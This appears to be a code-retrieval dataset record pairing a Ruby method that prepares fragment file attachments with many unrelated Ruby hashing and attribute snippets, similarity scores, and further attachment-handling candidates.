"def to_h\n {\n V: v.hex,\n A: p_a.hex,\n S: p_s.hex,\n T1: p_t1.hex,\n T2: p_t2.hex,\n tx: \"0x#{tx.hex}\",\n txbf: \"0x#{tx_bf.hex}\",\n e: \"0x#{e.hex}\",\n lx: {\n n: ORDER_HEX,\n elems: lx.map { |x| \"0x#{x.hex}\" }\n },\n rx: {\n n: ORDER_HEX,\n elems: rx.map { |x| \"0x#{x.hex}\" }\n },\n G: GENERATOR_G.hex,\n order: ORDER_HEX\n }\n end",
"def hash\n [destination, include_tags, name, query, rehydration_max_scan_size_in_gb, rehydration_tags].hash\n end",
"def attributes_hash(object); end",
"def hash\n [subject_property, proprietorship, surname, forename, middle_name, all_names, historical_match].hash\n end",
"def get_hash_tags(reload = false) \n @hash_tags = nil if reload\n @hash_tags ||= Dtag.find(:all, :conditions => [\"id IN (?)\", tag_ids]).inject({}) { |hash, tag| hash[tag.id] = tag; hash }\n end",
"def to_attr_hash\n to_hash.reject { |key, _| %i[id live_games].include? key }\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hash\n attributes.hash\n end",
"def hashmap_releases\n all.each_with_object({}) do |release, hash|\n hash[release.to_s] = release.attributes\n end\n end",
"def fingerprint\n to_h(persist: true).except(:_id)\n end",
"def create_hash\n require 'digest/md5'\n digest_string = [self.id, self.url, self.referrer, self.created_at].join(\"\")\n self.record_hash = Digest::MD5.hexdigest(digest_string)\n end",
"def to_hash\n hash = {\n 'type' => 'Page',\n 'name' => page_name,\n 'text' => text.to_s\n }\n unless page_panes.empty?\n hash['panes'] = page_panes.map do |page_pane|\n page_pane.pane.to_hash\n end\n end\n unless page_sequences.empty?\n hash['sequence'] = page_sequences.first.sequence.to_hash\n end\n hash\n end",
"def hash\n node_id.hash\n end",
"def build_extra_attributes\n map = Hash[extra_attributes.map { |k| [k.spec_id, k] }]\n\n # Add any attributes that do not exist yet\n club.extra_attributes.each do |spec|\n if !map[spec.id]\n map[spec.id] = ExtraAttribute.new\n extra_attributes << map[spec.id]\n end\n\n # Set the relation = a relation less that needs to be queried later\n map[spec.id].spec = spec\n end\n\n # Keep them in order\n # TODO: delete attributes that do not exist in club.extra_attributes\n extra_attributes.sort_by { |s| s.spec.position }\n end",
"def cache_ids()\n hit_values = File.open(@mzid_file) do |io|\n doc = Nokogiri::XML.parse(io, nil, nil, Nokogiri::XML::ParseOptions::DEFAULT_XML | Nokogiri::XML::ParseOptions::NOBLANKS | Nokogiri::XML::ParseOptions::STRICT)\n doc.remove_namespaces!\n root = doc.root\n \n cache_db_seq_entries(root)\n cache_pep_ev(root)\n \n peptide_lst = root.xpath('//Peptide')\n @pep_h = Hash.new\n @mod_h = Hash.new\n peptide_lst.each do |pnode|\n \n pep_id = pnode['id']\n pep_seq = get_peptide_sequence(pnode)\n mod_line = get_modifications(pnode)\n @pep_h[pep_id] = pep_seq \n @mod_h[pep_id] = mod_line \n end\n \n end\n end",
"def passive\t\t\n\tif @body.size > 4\n\t\thash=Digest::MD5.hexdigest(@body[0..500])\t\n\t\t[{:name=>\"hash\",:string=>hash}]\n\telse\n\t\t[]\n\tend\nend",
"def get_features(frag, model)\n w1 = (frag.cleaned.last or '')\n w2 = (frag.next or '')\n\n frag.features = [\"w1_#{w1}\", \"w2_#{w2}\", \"both_#{w1}_#{w2}\"]\n\n if not w2.empty?\n if w1.chop.is_alphabetic? \n frag.features.push \"w1length_#{[10, w1.length].min}\", \"w1abbr_#{model.non_abbrs[w1.chop]}\"\n end\n\n if w2.chop.is_alphabetic?\n frag.features.push \"w2cap_#{w2[0,1].is_upper_case?}\", \"w2lower_#{model.lower_words[w2.downcase]}\"\n end\n end\n end",
"def get_attributes\n necessary_attributes = PageVersioning::Config[klass + '_revision_attributes']\n attributes = self.attributes\n attributes.delete_if { |key, value| !necessary_attributes.include?(key) }\n attributes\n end",
"def attr_hash\n hash = create_hash\n hash.delete(\"id\")\n hash.delete(\"errors\")\n return hash\n end",
"def field_hash\n\n self.yattributes || fields.inject({}) { |r, f| r[f.fkey] = f.value; r }\n end",
"def hash\n [self_uri, alternate_links, accent1, accent2, accent3, accent4, accent5, accent6, dark1, dark2, followed_hyperlink, hyperlink, light1, light2].hash\n end",
"def video_parts_attributes\n video_parts.map{|video_part| video_part.serializable_hash(only: [:source_url, :number, :duration]) }\n end",
"def digests_data\n {\n '1' => '7a8a3dad389031160f79817c14bb5f3adf058335',\n '2' => '8d4fc3e19f141135ca59f0ba5d9e8b634f04840e',\n '3' => '88f879b8aa22eb340019449955accdca62886f64',\n '4' => 'dba9f7cc5b15cc2eee74a288e6c04431d2f5e509',\n '5' => 'febf0d5b94e4dd2cd23f3a9cd515641885a50980',\n '6' => '2628bf51107c4c5cd581179df5d1148821f8a7a8',\n '7' => '83f929fdce5dfe931f9ccc6af49e2cfd436740f4',\n '8' => '5f9e781563ab48e7a67ec4500321b1ebe553f3fc',\n '9' => '8b14bf8dfa2bc7d74443cd9c4a0d836f1341becb',\n '10' => '5442273b216f7c843de10acc57c33638f7848f74',\n '11' => '3871068443e406fbff7ad6f91bd395bf9482a259',\n '12' => '9e52c47b63dd968ba2349779a86986eff2f2b860',\n '13' => '658ba6008127dc4e61eb5bbe70ec69be5524b845'\n }\n end",
"def generate_ids\n hex_str = SecureRandom.hex(32)\n bytes = hex_str.scan(/.{1,2}/).map do |h|\n Integer(h, 16)\n end\n @doc_id = xtext(bytes[0, 16])\n @rev_id = xtext(bytes[16, 16])\n @attributes[:ID] = list([@doc_id, @rev_id])\n end",
"def get_features(frag, model)\n w1 = (frag.cleaned.last or '')\n w2 = (frag.next or '')\n\n frag.features = [\"w1_#{w1}\", \"w2_#{w2}\", \"both_#{w1}_#{w2}\"]\n\n if not w2.empty?\n if w1.chop.is_alphabetic? \n frag.features.push \"w1length_#{[10, w1.length].min}\"\n frag.features.push \"w1abbr_#{model.non_abbrs[w1.chop]}\"\n end\n\n if w2.chop.is_alphabetic?\n frag.features.push \"w2cap_#{w2[0].is_upper_case?}\"\n frag.features.push \"w2lower_#{model.lower_words[w2.downcase]}\"\n end\n end\n end",
"def hash\n [file_id, output_version, image_quality, recompress_images, enable_color_detection, pack_document, pack_fonts, downscale_images, downscale_resolution, fast_web_view, remove_form_fields, remove_annotations, remove_bookmarks, remove_hyperlinks, remove_embedded_files, remove_blank_pages, remove_java_script, enable_jpeg2000, enable_jbig2, enable_char_repair, enable_mrc, preserve_smoothing, downscale_resolution_mrc, remove_metadata, remove_page_thumbnails, remove_page_piece_info, jbig2_pms_threshold].hash\n end",
"def hash\n [@id].hash\n end",
"def hash\n [name, url].hash\n end",
"def to_hash\n {}.tap do |hash|\n @original_attrs.keys.each do |at|\n hash[at] = send(at)\n end\n end\n end",
"def create_attr_hash\n data = {}\n self.instance_variables.each do |attr|\n value = self.instance_variable_get(attr)\n key = attr.to_s.sub(%r{^\\@}, '').sub(%r{\\@}, '')\n if @attr_list.include?(key)\n data[key] = value\n end\n end\n\n data\n end",
"def build_vendors_hash(vendors_raw)\r\n\thash_map = Hash.new\r\n\r\n\tvendors_raw.each do |vendor|\r\n\t\tif(vendor['attributes']['bitsight_guid'] != nil)\r\n\t \thash_map[vendor['attributes']['bitsight_guid']] = vendor\r\n\t\tend\r\n\tend\r\n\thash_map\r\nend",
"def to_hash\n r = ATTR_NAMES.inject({}) { |m,e|\n m[e] = self.send(e)\n m\n }\n r[:product_identity_id] = product_identity_id\n r[:langcode] = lang_code_3_chars\n r[:mappings] = mappings\n r\n end",
"def hash\n guid.hash\n end",
"def digestable_hash\n @item.slice(CLASS, QUEUE, LOCK_ARGS, APARTMENT).tap do |hash|\n hash.delete(QUEUE) if unique_across_queues?\n hash.delete(CLASS) if unique_across_workers?\n end\n end",
"def hashedxml(node)\n \n node.elements.map do |element|\n \n attributes = element.attributes.clone\n \n # Although attribute last_modified isn't used by rexle-diff it is \n # created by Dynarex whenever a record is created or updated. \n # This would of course cause the record to be flagged as changed even \n # when the element value itself hashn't changed.\n #\n %i(created last_modified).each {|x| attributes.delete x}\n x = element.elements.length > 0 ? '' : 0\n [element.name, attributes, element.text.to_s.strip, x].hash\n \n end\n end",
"def hash\n [height, id, is_mobile, name, width].hash\n end",
"def ref_attrs\n docidentifier.detect(&:primary)&.tap do |di|\n return { anchor: di.id.gsub(\" \", \".\").squeeze(\".\") }\n end\n end",
"def render_hash\n Motion.serializer.weak_digest(self)\n end",
"def attribs\r\n @attribs.dup\r\n end",
"def hash\n [link, node_id, list_items, checked, appearance, date_display_locale, date_display_format, full_date, title, date_storage_format, building_block_gallery, building_block_category, multiline, color, style_name, calendar_type, is_temporary, level, sdt_type, placeholder_name, lock_content_control, lock_contents, is_showing_placeholder_text, tag, id, word_open_xml].hash\n end",
"def hash\n [fully_qualified_rel,\n raw_href,\n templated?].hash\n end",
"def hash\n [anchor, anchor_case_sensitive, anchor_horizontal_alignment, anchor_ignore_if_not_present, anchor_match_whole_word, anchor_units, anchor_x_offset, anchor_y_offset, bold, collaborative, conceal_value_on_document, created_by_display_name, created_by_user_id, custom_tab_id, disable_auto_size, editable, font, font_color, font_size, height, included_in_email, initial_value, italic, items, last_modified, last_modified_by_display_name, last_modified_by_user_id, locked, maximum_length, merge_field, name, payment_item_code, payment_item_description, payment_item_name, required, scale_value, selected, shared, stamp_type, stamp_type_metadata, tab_label, type, underline, validation_message, validation_pattern, width].hash\n end",
"def extract_link_attributes(hash)\n select_link_attributes(hash).map do |attribute, value|\n \" #{attribute}=\\\"#{value}\\\"\"\n end\n end",
"def hash\n [code, scope].hash\n end",
"def hash\n [fully_qualified_rel, raw_href, templated?].hash\n end",
"def fingerprint\n self.all_tags.to_s.md5\n end",
"def generate_hash\n @groups.flatten.inject([]) {|hash, stone| hash << stone.to_s}.sort.hash\n end",
"def dynamic_attributes_hash\n @dynamic_attributes.inject({}) { |h, da| h[da.name] = da; h}\n end",
"def rendered_fragments\n\t\tself.log.debug \"Rendering fragments: %p.\" % [ self.fragments.keys ]\n\t\treturn self.fragments.each_with_object( {} ) do |(key, nodes), accum|\n\t\t\taccum[ key ] = self.stringify_nodes( nodes )\n\t\tend\n\tend",
"def hash\n [anchor, cv, nullifier, proof, rk, spend_auth_sig].hash\n end",
"def touchdowns_hash(stats_xml)\n { number: stats_xml[:number].to_i }.merge(children_first_text_hash(stats_xml))\n end",
"def to_hash\n Hash[sort_tuples(section_tuples)]\n end",
"def hash\n [file_info, output_path, encoding, recognize_lists, leading_spaces, trailing_spaces, enable_pagination].hash\n end",
"def hash\n\t\t[@id].hash\n\tend",
"def node_hash(node_id)\n \n end",
"def attributes\n @attributes = Hash[attrs.map { |a| [a.to_sym, send(\"#{a}\")] }]\n end",
"def hash_with_meta\n to_hash.merge(leased: VLANLease.where(pool_id: id).count)\n end",
"def copied_attributes\n\t\tattrs = {}\n\t\tattrs[:key] = self.key\n\t\tattrs[:value] = self.value\n\t\tattrs[:description] = self.description\n\t\tattrs[:reference_id] = self.id\n\t\tattrs[:rider_id] = self.rider_id\n\t\tattrs[:tag_list] = self.tag_list\n\n\t\tattrs\n\tend",
"def hash\n [sequence_number, corporate_number, process, correct, update_date, change_date, name, name_image_id, kind, prefecture_name, city_name, street_number, address_image_id, prefecture_code, city_code, post_code, address_outside, address_outside_image_id, close_date, close_cause, successor_corporate_number, change_cause, assignment_date, latest, en_name, en_prefecture_name, en_city_name, en_address_outside, furigana, hihyoji].hash\n end",
"def plist_edid_patch( sp, offset, bytes )\n p = []\n p.push \"#{sp}<dict>\"\n p.push plist_key_value( sp + \" \", \"offset\", \"integer\", offset )\n p.push plist_key_value( sp + \" \", \"data\", \"data\", Base64.strict_encode64( bytes.pack('C*') ).to_s )\n p.push \"#{sp}</dict>\"\n return p\n end",
"def hash\n [blur, glow, inner_shadow, outer_shadow, preset_shadow, soft_edge, reflection, fill_overlay].hash\n end",
"def hash\n [links, organization_id].hash\n end",
"def hash\n [aperture_value, body_serial_number, brightness_value, cfa_pattern, camera_owner_name, color_space, components_configuration, compressed_bits_per_pixel, contrast, custom_rendered, date_time_digitized, date_time_original, device_setting_description, digital_zoom_ratio, exif_version, exposure_bias_value, exposure_index, exposure_mode, exposure_program, exposure_time, f_number, file_source, flash, flash_energy, flashpix_version, focal_length, focal_length_in35_mm_film, focal_plane_resolution_unit, focal_plane_x_resolution, focal_plane_y_resolution, gps_altitude, gps_altitude_ref, gps_area_information, gpsdop, gps_dest_bearing, gps_dest_bearing_ref, gps_dest_distance, gps_dest_distance_ref, gps_dest_latitude, gps_dest_latitude_ref, gps_dest_longitude, gps_dest_longitude_ref, gps_differential, gps_img_direction, gps_img_direction_ref, gps_date_stamp, gps_latitude, gps_latitude_ref, gps_longitude, gps_longitude_ref, gps_map_datum, gps_measure_mode, gps_processing_method, gps_satellites, gps_speed, gps_speed_ref, gps_status, gps_timestamp, gps_track, gps_track_ref, gps_version_id, gain_control, gamma, iso_speed, iso_speed_latitude_yyy, iso_speed_latitude_zzz, photographic_sensitivity, image_unique_id, lens_make, lens_model, lens_serial_number, lens_specification, light_source, maker_note_raw_data, max_aperture_value, metering_mode, oecf, pixel_x_dimension, pixel_y_dimension, recommended_exposure_index, related_sound_file, saturation, scene_capture_type, scene_type, sensing_method, sensitivity_type, sharpness, shutter_speed_value, spatial_frequency_response, spectral_sensitivity, standard_output_sensitivity, subject_area, subject_distance, subject_distance_range, subject_location, subsec_time, subsec_time_digitized, subsec_time_original, user_comment, white_balance, white_point].hash\n end",
"def to_hash\n r = ATTR_NAMES.inject({}) { |m,e|\n m[e] = self.send(e)\n m\n }\n r[:files] = mappings_for_files.map { |e| e.to_hash }\n r\n end",
"def hash\n [attachments, created_by_id, created_by_name, created_on, id, modified_by_id, modified_by_name, modified_on, name, owners, status_id, status_name, address_business_city, address_business_country, address_business_is_primary, address_business_line1, address_business_state, address_business_zip_code, address_home_city, address_home_country, address_home_is_primary, address_home_line1, address_home_state, address_home_zip_code, address_other_city, address_other_country, address_other_is_primary, address_other_line1, address_other_state, address_other_zip_code, current_position_company_id, current_position_company_name, current_position_title, current_position_when_end, current_position_when_start, description, education_accreditation_id, education_accreditation_name, education_honors, education_institution_id, education_institution_name, education_when_end, education_when_start, email_address_other, email_address_other_is_primary, email_address_personal, email_address_personal_is_primary, email_address_work, email_address_work_is_primary, ethnicity_id, ethnicity_name, external_primary_key, first_name, gender_id, gender_name, key_date_anniversary, key_date_birthday, key_date_other, last_name, middle_name, nick_name, phone_number_fax, phone_number_fax_extension, phone_number_fax_is_primary, phone_number_home, phone_number_home_extension, phone_number_home_is_primary, phone_number_mobile, phone_number_mobile_extension, phone_number_mobile_is_primary, phone_number_other, phone_number_other_extension, phone_number_other_is_primary, phone_number_skype, phone_number_skype_extension, phone_number_skype_is_primary, phone_number_work_direct, phone_number_work_direct_extension, phone_number_work_direct_is_primary, phone_number_work_main, phone_number_work_main_extension, phone_number_work_main_is_primary, preferred_contact_method_type_id, preferred_contact_method_type_name, record_type, related_contact_assistant_first_name, related_contact_assistant_id, related_contact_assistant_is_primary, related_contact_assistant_last_name, related_contact_client_first_name, related_contact_client_id, related_contact_client_is_primary, related_contact_client_last_name, related_contact_other_first_name, related_contact_other_id, related_contact_other_is_primary, related_contact_other_last_name, related_contact_referred_by_first_name, related_contact_referred_by_id, related_contact_referred_by_is_primary, related_contact_referred_by_last_name, related_contact_spouse_first_name, related_contact_spouse_id, related_contact_spouse_is_primary, related_contact_spouse_last_name, salary, salary_details, salutation_id, salutation_name, social_aim, social_aim_is_primary, social_facebook_chat, social_facebook_chat_is_primary, social_face_time, social_face_time_is_primary, social_google_talk, social_google_talk_is_primary, social_icq, social_icq_is_primary, social_other, social_other_is_primary, social_skype, social_skype_is_primary, social_twitter, social_twitter_is_primary, social_yahoo_msg, social_yahoo_msg_is_primary, source_id, source_name, suffix_id, suffix_name, tags, website_blog, website_blog_is_primary, website_business, website_business_is_primary, website_facebook, website_facebook_is_primary, website_linked_in, website_linked_in_is_primary, website_other, website_other_is_primary, website_personal, website_personal_is_primary].hash\n end",
"def hash\n id.hash + 32 * bs_request.hash\n end",
"def hash\n return @id.hash\n end",
"def by_fragmentation\n peptide2 = @peptide.split('').insert(0,\"h\").insert(-1,\"oh\").join\n\t\tfrag__b = (2..@peptide.size+1).collect do |num|\n peptide2.split('').insert(num,'b').join \n end\t\n frag__y = frag__b.collect do |po|\n (2..(@peptide.size+1)).to_a.collect do |ei|\n po.split('').insert(ei,'y').join \n end \n end\n\t\t \n frag__2good = frag__y.flatten.delete_if {|x| x.include?(\"by\") or x.include?(\"yb\")}\n final_arry_spectra = frag__2good.collect do |pep_b|\n pep_b.gsub!(/[by]/, 'b'=>'+-h', 'y'=>'%-h').split(\"-\")\n end \n final_arry_spectra\n end",
"def bt_snapshot_attributes\n attributes.tap { |a| a.delete('id'); a.delete('ttstart_at'); a.delete('ttend_at') }\n end",
"def hash\n [text, font_name, font_size, bold, italic, color, width, height, top, left, rotation_angle, transparency, background, image, auto_align].hash\n end",
"def hash\n [id, document_date, gl_class, gl_type_id, gl_item_id, sales_code, description, cost, memo, tax_note, vendor_number, account_number, cost_account_number, inventory_account_number, vendor_account_number, item, item_description, sales_description, taxable, item_price, item_cost, unit_of_measure, quantity, total, currency, serialized_flag, serial_numbers, drop_shipped_flag, line_number, warehouse_bin, warehouse_site, sub_category, shipment_method, item_type_xref, inventory_xref, cogs_xref, uom_schedule_xref, price_level_xref, location_xref, tax_code, purchase_header_tax_group, tax_code_xref, tax_rate, tax_agency_xref].hash\n end",
"def fragment(tags); end",
"def hash\n id.hash\n end",
"def hash\n id.hash\n end",
"def generate_info_hash\n @info_hash = Hash[\n *instance_variables.map { |var|\n [var[1..-1], instance_variable_get(var)] if var != '@content_data' && var != '@header_data'\n }.compact.flatten\n ]\n end",
"def generate_info_hash\n @info_hash = Hash[\n *instance_variables.map { |var|\n [var[1..-1].to_sym, instance_variable_get(var)] if var != '@content_data' && var != '@header_data'\n }.compact.flatten\n ]\n end",
"def to_hash\n attributes.dup\n end",
"def unique_identifiers\n [:name, :path]\n end",
"def hash\n [range_start_index, range_end_index, fallback_font_list].hash\n end"
] |
[
"0.56959295",
"0.5492727",
"0.5431907",
"0.54316825",
"0.52419615",
"0.5200731",
"0.51992965",
"0.51354253",
"0.5129367",
"0.5119489",
"0.51079667",
"0.5104444",
"0.5085642",
"0.5038109",
"0.5033512",
"0.5024392",
"0.5009743",
"0.50096923",
"0.4981868",
"0.49810797",
"0.49733976",
"0.49532482",
"0.4948902",
"0.49476188",
"0.49286088",
"0.49272758",
"0.49253207",
"0.49253207",
"0.49253207",
"0.492306",
"0.49039835",
"0.48901117",
"0.488954",
"0.48845902",
"0.488158",
"0.4880178",
"0.48752385",
"0.48650968",
"0.48615223",
"0.4859551",
"0.4859243",
"0.4859074",
"0.48585913",
"0.48572764",
"0.48466954",
"0.4844343",
"0.48435548",
"0.48322174",
"0.48303685",
"0.4829599",
"0.48271558",
"0.4820353",
"0.48172122",
"0.4814559",
"0.48108205",
"0.48066822",
"0.48054865",
"0.48021325",
"0.48011628",
"0.4799579",
"0.4796931",
"0.47912395",
"0.4783018",
"0.47816578",
"0.47804463",
"0.47761434",
"0.47760943",
"0.47725853",
"0.47694865",
"0.476945",
"0.47676885",
"0.47662234",
"0.4762027",
"0.47515494",
"0.47513595",
"0.4750035",
"0.47458023",
"0.47443268",
"0.4741784",
"0.4741726",
"0.47403643",
"0.47378778",
"0.47374484",
"0.47367382",
"0.47342885",
"0.47273704",
"0.47235414",
"0.47228298",
"0.47227287",
"0.4722444",
"0.4718454",
"0.47133544",
"0.47099155",
"0.47084543",
"0.47084543",
"0.47066614",
"0.47031814",
"0.469901",
"0.4698238",
"0.46956885"
] |
0.7121471
|
0
|
Preparing fragment attachments. Returns hashes with file data for ActiveStorage and a list of ids of old attachements to destroy
|
def files_content(record, identifier, path, frag_content)
# preparing attachments
files = frag_content.split("\n").collect do |filename|
file_handler = File.open(File.join(path, filename))
{
io: file_handler,
filename: filename,
content_type: MimeMagic.by_magic(file_handler)
}
end
# ensuring that old attachments get removed
ids_destroy = []
if (frag = record.fragments.find_by(identifier: identifier))
ids_destroy = frag.attachments.pluck(:id)
end
[files, ids_destroy]
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def construct_fragments_attributes(hash, record, path)\n frag_identifiers = []\n frag_attributes = hash.collect do |frag_header, frag_content|\n tag, identifier = frag_header.split\n frag_hash = {\n identifier: identifier,\n tag: tag\n }\n\n # tracking fragments that need removing later\n frag_identifiers << identifier\n\n # based on tag we need to cram content in proper place and proper format\n case tag\n when \"date\", \"datetime\"\n frag_hash[:datetime] = frag_content\n when \"checkbox\"\n frag_hash[:boolean] = frag_content\n when \"file\", \"files\"\n files, file_ids_destroy = files_content(record, identifier, path, frag_content)\n frag_hash[:files] = files\n frag_hash[:file_ids_destroy] = file_ids_destroy\n else\n frag_hash[:content] = frag_content\n end\n\n frag_hash\n end\n\n [frag_identifiers, frag_attributes]\n end",
"def prepare_files\n return if temp_files.blank?\n\n restrict_to_single_file! if pagefile?\n\n temp_files.each do |file|\n files.build(\n site: blockable.site,\n dimensions: tag.try(:dimensions),\n file: file\n )\n end\n end",
"def process_attachments!\n child_documents = parsed_form.dig('dependents_application', 'child_supporting_documents')\n spouse_documents = parsed_form.dig('dependents_application', 'spouse_supporting_documents')\n # add the two arrays together but also account for nil arrays\n supporting_documents = [child_documents, spouse_documents].compact.reduce([], :|)\n if supporting_documents.present?\n files = PersistentAttachment.where(guid: supporting_documents.map { |doc| doc['confirmation_code'] })\n files.find_each { |f| f.update(saved_claim_id: id) }\n end\n end",
"def extract_rendering_attachments!\n rendered_url_index = find_index{|a| (a.kind_of?(Hash) && a['content-type'] == 'image/png' && a['filename'] =~ /websnappr/)}\n delete_at(rendered_url_index)\n end",
"def purge_blobs\n photos_attachments.each do |photo_attachment|\n if photo_attachment.marked_for_destruction?\n photo_attachment.blob.purge_later\n end\n end\n end",
"def files_to_final_location\n if @temp_file && (@temp_file.size > 0)\n logger.info(\"Saving attachment '#{self.filename}' (#{@temp_file.size} bytes) to database\")\n md5 = Digest::MD5.new\n buffer = \"\"\n self.data = \"\"\n while (buffer = @temp_file.read(8192))\n md5.update(buffer)\n self.data << buffer\n end\n self.digest = md5.hexdigest\n end\n @temp_file = nil\n # Don't save the content type if it's longer than the authorized length\n if self.content_type && self.content_type.length > 255\n self.content_type = nil\n end\n end",
"def delete_file_parts\n #TODO implementation\n end",
"def call(attachments)\n Attachment.where({canvas_user_id: attachment_conf[:canvas_user_id], submission_id: attachment_conf[:submission_id]}).\n delete_all\n attachments.each do |attachment|\n Attachment.create(attachment_conf.merge({date: Time.parse(attachment['updated_at']),\n attachment_id: attachment['id'], image_url: attachment['url'], content_type: attachment['content-type']})\n )\n end\n end",
"def decode_attachments\n self[\"_attachments\"].each do |attachment_id, attachment_properties|\n self[\"_attachments\"][attachment_id][\"data\"] = Base64.decode64 attachment_properties[\"data\"] if attachment_properties[\"data\"] \n end if self[\"_attachments\"]\n end",
"def cleanup_derivatives\n deleted_files = []\n image_derivatives = resource.file_metadata.select { |file| (file.derivative? || file.thumbnail_file?) && file.mime_type.include?(image_mime_type) }\n image_derivatives.each do |file|\n storage_adapter.delete(id: file.id)\n deleted_files << file.id\n end\n cleanup_derivative_metadata(derivatives: deleted_files)\n end",
"def hash\n [attachments, created_by_id, created_by_name, created_on, id, modified_by_id, modified_by_name, modified_on, name, owners, status_id, status_name, address_business_city, address_business_country, address_business_is_primary, address_business_line1, address_business_state, address_business_zip_code, address_home_city, address_home_country, address_home_is_primary, address_home_line1, address_home_state, address_home_zip_code, address_other_city, address_other_country, address_other_is_primary, address_other_line1, address_other_state, address_other_zip_code, current_position_company_id, current_position_company_name, current_position_title, current_position_when_end, current_position_when_start, description, education_accreditation_id, education_accreditation_name, education_honors, education_institution_id, education_institution_name, education_when_end, education_when_start, email_address_other, email_address_other_is_primary, email_address_personal, email_address_personal_is_primary, email_address_work, email_address_work_is_primary, ethnicity_id, ethnicity_name, external_primary_key, first_name, gender_id, gender_name, key_date_anniversary, key_date_birthday, key_date_other, last_name, middle_name, nick_name, phone_number_fax, phone_number_fax_extension, phone_number_fax_is_primary, phone_number_home, phone_number_home_extension, phone_number_home_is_primary, phone_number_mobile, phone_number_mobile_extension, phone_number_mobile_is_primary, phone_number_other, phone_number_other_extension, phone_number_other_is_primary, phone_number_skype, phone_number_skype_extension, phone_number_skype_is_primary, phone_number_work_direct, phone_number_work_direct_extension, phone_number_work_direct_is_primary, phone_number_work_main, phone_number_work_main_extension, phone_number_work_main_is_primary, preferred_contact_method_type_id, preferred_contact_method_type_name, record_type, related_contact_assistant_first_name, related_contact_assistant_id, related_contact_assistant_is_primary, related_contact_assistant_last_name, related_contact_client_first_name, related_contact_client_id, related_contact_client_is_primary, related_contact_client_last_name, related_contact_other_first_name, related_contact_other_id, related_contact_other_is_primary, related_contact_other_last_name, related_contact_referred_by_first_name, related_contact_referred_by_id, related_contact_referred_by_is_primary, related_contact_referred_by_last_name, related_contact_spouse_first_name, related_contact_spouse_id, related_contact_spouse_is_primary, related_contact_spouse_last_name, salary, salary_details, salutation_id, salutation_name, social_aim, social_aim_is_primary, social_facebook_chat, social_facebook_chat_is_primary, social_face_time, social_face_time_is_primary, social_google_talk, social_google_talk_is_primary, social_icq, social_icq_is_primary, social_other, social_other_is_primary, social_skype, social_skype_is_primary, social_twitter, social_twitter_is_primary, social_yahoo_msg, social_yahoo_msg_is_primary, source_id, source_name, suffix_id, suffix_name, tags, website_blog, website_blog_is_primary, website_business, website_business_is_primary, website_facebook, website_facebook_is_primary, website_linked_in, website_linked_in_is_primary, website_other, website_other_is_primary, website_personal, website_personal_is_primary].hash\n end",
"def attachments\n @attachments ||= ActiveStorage::Attachment.where(record_gid: record.to_gid.to_s, name: name)\n end",
"def attach_files\n @parent = Work.find_by_friendlier_id!(params[:parent_id])\n authorize! :update, @parent\n\n current_position = @parent.members.maximum(:position) || 0\n\n files_params = (params[:cached_files] || []).\n collect { |s| JSON.parse(s) }.\n sort_by { |h| h && h.dig(\"metadata\", \"filename\")}\n\n files_params.each do |file_data|\n asset = Asset.new()\n\n if derivative_storage_type = params.dig(:storage_type_for, file_data[\"id\"])\n asset.derivative_storage_type = derivative_storage_type\n end\n\n asset.position = (current_position += 1)\n asset.parent_id = @parent.id\n asset.file = file_data\n asset.title = (asset.file&.original_filename || \"Untitled\")\n asset.published = @parent.published\n asset.save!\n end\n\n if @parent.representative_id == nil\n @parent.update(representative: @parent.members.order(:position).first)\n end\n\n redirect_to admin_work_path(@parent.friendlier_id, anchor: \"nav-members\")\n end",
"def cloned_attachments(preset)\n attachments = preset.attachments\n\n return if attachments.blank?\n\n attachments.each do |attachment|\n cloned_attachment = ScenarioAttachment.new(\n attachment.attributes.except('id', 'scenario_id')\n )\n\n cloned_attachment.file.attach(attachment.file.blob)\n\n yield cloned_attachment\n end\n end",
"def attachments_to_forget\n return [] unless self.class.remember_attachments?\n (self.database.get(self.id)[\"_attachments\"] || {}).keys.reject do |a| \n a.match(VERSION_REGEX) || \n (self.class.remember_attachments.map { |attachment_name_pattern|\n a.match attachment_name_pattern\n }.inject(false) {|b, sum| sum || b})\n end \n end",
"def prepare_upload\n require 'tmpdir'\n thumbs = nil\n\n Dir::mktmpdir { |path|\n thumb_dir = path+'/thumbnails'\n if !Dir.mkdir(thumb_dir, 0700)\n raise CarrierWave.ProcessingError.new(\"could not create temp file at #{path}\")\n end\n zip_files_count = 0\n zip_file_index = 0\n # 1. checks that there is only one pdf file\n Zip::Archive.open(current_path) { |ar|\n n = ar.num_files\n\n n.times do |i|\n\n entry_name = ar.get_name(i)\n if entry_name =~ /.\\.pdf$/i\n zip_files_count += 1\n zip_file_index = i\n end\n end\n\n\n if zip_files_count > 1\n raise CarrierWave::ProcessingError.new('there\\'s more than one pdf file in your zip')\n else\n if zip_files_count <1\n raise CarrierWave::ProcessingError.new('unable to find pdf file in your zip')\n end\n end\n\n\n # 2. extracts and renames pdf file to tmp dir according to naming convention (product_id)\n extracted_pdf_path = \"#{path}/#{model.product_id}.pdf\"\n\n File.open(extracted_pdf_path, 'wb') { |pdf|\n\n ar.fopen(zip_file_index) do |f|\n pdf << f.read\n\n\n end\n\n }\n\n\n # 3. creates thumbnails of the pdf file\n thumbs = PdfProcessor.thumbs(extracted_pdf_path, {:width => 175, :height => 131}, 'PNG')\n\n thumbs[:thumbs].each_with_index do |t, index|\n t.write(\"#{thumb_dir}/#{index.to_s}.png\")\n\n end\n thumbs[:thumbs2x].each_with_index do |t, index|\n t.write(\"#{thumb_dir}/#{index.to_s}@2x.png\")\n\n end\n\n # 4. adds thumbnails to zip file\n\n ar.add_dir('thumbnails')\n\n Dir.glob(thumb_dir+'/*.png').each do |f|\n if File.directory?(f)\n raise CarrierWave::ProcessingError.new('An error occurred during thumbnail zipping process')\n else\n\n file_name = File.basename(f)\n ar.add_file(\"thumbnails/#{file_name}\", f)\n\n end\n\n\n end\n\n # 5. updates pdf filename in zip\n if ar.get_name(zip_file_index).eql?(\"#{model.product_id}.pdf\") == false\n File.open(extracted_pdf_path) do |f|\n ar.replace_io(zip_file_index, f)\n end\n end\n\n }\n # 6. uploads the thumbnails dir to public S3 dir\n #credentials = {:threads => 2}.merge(CarrierWave::Uploader::Base.fog_credentials)\n #\n #\n #credentials[:public]= true\n #base_directory = CarrierWave::Uploader::Base.fog_directory\n #directory = \"/public/#{model.publication.product_code}/#{model.product_id}/thumbnails\"\n #credentials[:destination_dir] = directory\n #S3Uploader.upload_directory(thumb_dir, base_directory, credentials)\n\n }\n\n 